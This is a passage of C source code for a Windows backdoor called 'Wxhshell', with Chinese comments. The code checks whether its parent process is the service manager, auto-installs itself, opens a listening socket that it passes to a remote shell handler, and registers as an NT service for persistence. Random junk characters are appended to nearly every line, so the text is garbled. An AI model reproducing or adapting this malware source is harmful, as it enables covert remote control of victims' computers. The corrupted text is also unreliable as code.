ULONG InheritedFromUniqueProcessId; n6WY&1ZE~
} PROCESS_BASIC_INFORMATION; \2[<XG(^
\u-0v.+|
PROCNTQSIP NtQueryInformationProcess; U8#xgz@
A% Q!^d
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F+UG'4%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >t,M
05Fz@31~
HANDLE hProcess; 9CGNn+~YI
PROCESS_BASIC_INFORMATION pbi; rsn.4P=
qM4c]YIaSl
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MmPU7Nl%X
if(NULL == hInst ) return 0; D'<VYl"/
i>L+gLW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P;ZU-G4@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @K223?c8l
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [,EpN{l
8eIUsI.o
if (!NtQueryInformationProcess) return 0; {yAL+}
|LG4=j.l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z@|dzvjl
Q
if(!hProcess) return 0; 8VG!TpX/B
p=GWq(S6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v!3A9!.
`=+^|Y}
CloseHandle(hProcess); hDP/JN8y
k NqS8R|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <tpmUA[]
if(hProcess==NULL) return 0; I3 =#@2
5IOFSy`
HMODULE hMod; Sgim3):Z
char procName[255]; w&$d* E
unsigned long cbNeeded; pA.J@,>`}
wHZW `
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (@X~VACT
,jA)wJ
CloseHandle(hProcess); <99M@ cF
m42T9wSsx
if(strstr(procName,"services")) return 1; // 以服务启动 'K@|3R
,y4I[[
return 0; // 注册表启动 ~AYN
} $p!yhn7
uZa9zs=}c
// 主模块 h1 WT
int StartWxhshell(LPSTR lpCmdLine) {l_{T4xToB
{ V$0dtvGvH
SOCKET wsl; s,bERN7'yO
BOOL val=TRUE; hPq%Lc
int port=0; YDC mI@
struct sockaddr_in door; u&G.4QQF
z"D.Bm~ ]
if(wscfg.ws_autoins) Install(); ]v[|B
6cqP2!~
port=atoi(lpCmdLine); h%WE=\,Qp
>+.
(r]
if(port<=0) port=wscfg.ws_port; V)Z70J<'
Iff9'TE
WSADATA data; l4T7'U>`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pEECHk
=4GSg1Biy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; XC{eX&,2x
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lb LiB*D#s
door.sin_family = AF_INET; p=/m
door.sin_addr.s_addr = inet_addr("127.0.0.1"); u3Gjg{-N7
door.sin_port = htons(port); ]weoTn:
-}K<ni6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k
X {0y
closesocket(wsl); MX>[^}n
return 1; f#ri'&}c
:
} lKk/p^:
9@Cv5L?p\
if(listen(wsl,2) == INVALID_SOCKET) { Uye|9/w8 !
closesocket(wsl); x8GJY~:SW
return 1; zB yqD$
} 5zON}"EC
Wxhshell(wsl); Y^<bl2"y8
WSACleanup(); UGK*G y
:[;hu}!&
return 0; fNGZ o
zbJT&@z
} OR[{PU=X
F;^F+H
// 以NT服务方式启动 HSq}7S&U
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yA47"R
{ DBP9{ x$
DWORD status = 0;
}-~l!
DWORD specificError = 0xfffffff; }1IpON
e}1uz3Rh
serviceStatus.dwServiceType = SERVICE_WIN32; XrZ*1V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G@j0rnn>B
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |JCU<_<
serviceStatus.dwWin32ExitCode = 0; (5\NB0
serviceStatus.dwServiceSpecificExitCode = 0; P;4w*((} ~
serviceStatus.dwCheckPoint = 0; rj!0GI
serviceStatus.dwWaitHint = 0; 4j)tfhwd8
Dc)dE2
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7`u$
if (hServiceStatusHandle==0) return; ']+Uu'a
R##~*>#
status = GetLastError(); y!xE<S&Y
if (status!=NO_ERROR) 5atYOep
{ y+7PwBo%e
serviceStatus.dwCurrentState = SERVICE_STOPPED; .YuJJJv
serviceStatus.dwCheckPoint = 0; kZ"BBJ6w
serviceStatus.dwWaitHint = 0; Ha)ANAD
serviceStatus.dwWin32ExitCode = status; }l=xiAF
serviceStatus.dwServiceSpecificExitCode = specificError; p)+k=b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QE7V.
>J_p
return; ~y7jCcd`
} 64
5z#_}C$
Po%(~ )S>
serviceStatus.dwCurrentState = SERVICE_RUNNING; jmeRrnC}
serviceStatus.dwCheckPoint = 0; vhhC>
7
serviceStatus.dwWaitHint = 0; x#:| }pR
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7x<i :x3
} 4"Hye&O
c_>f0i
// 处理NT服务事件,比如:启动、停止 GAAm0;
VOID WINAPI NTServiceHandler(DWORD fdwControl) C"{k7yT
{ b6*!ACY
switch(fdwControl) $cZUM}@
{ (P`3 @H
case SERVICE_CONTROL_STOP: +$Rt+S BD
serviceStatus.dwWin32ExitCode = 0; 'PP#^aI,
serviceStatus.dwCurrentState = SERVICE_STOPPED; \Acqr@D
serviceStatus.dwCheckPoint = 0; Z:_D0jG
serviceStatus.dwWaitHint = 0; nWHa.H#
{ >
%KuNy{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^urDoB:
} }-@`9(o`)
return; %$DI^yS
case SERVICE_CONTROL_PAUSE: }m-FGk
serviceStatus.dwCurrentState = SERVICE_PAUSED; M8TSt\
break; $r3i2N-I
case SERVICE_CONTROL_CONTINUE: kTvd+TP4
serviceStatus.dwCurrentState = SERVICE_RUNNING; Kde9
$
break; [2Ud]l:6E
case SERVICE_CONTROL_INTERROGATE: {+@bZ}57
break; 3=L.uXVb
}; 4f;HQ-Iv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&U,co$>
} [#sz WNfU
@|tL8?
// 标准应用程序主函数 LA)[ip4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a.zpp'cEb
{ %x}
O1yV
&kpwo )
// 获取操作系统版本 Zg.&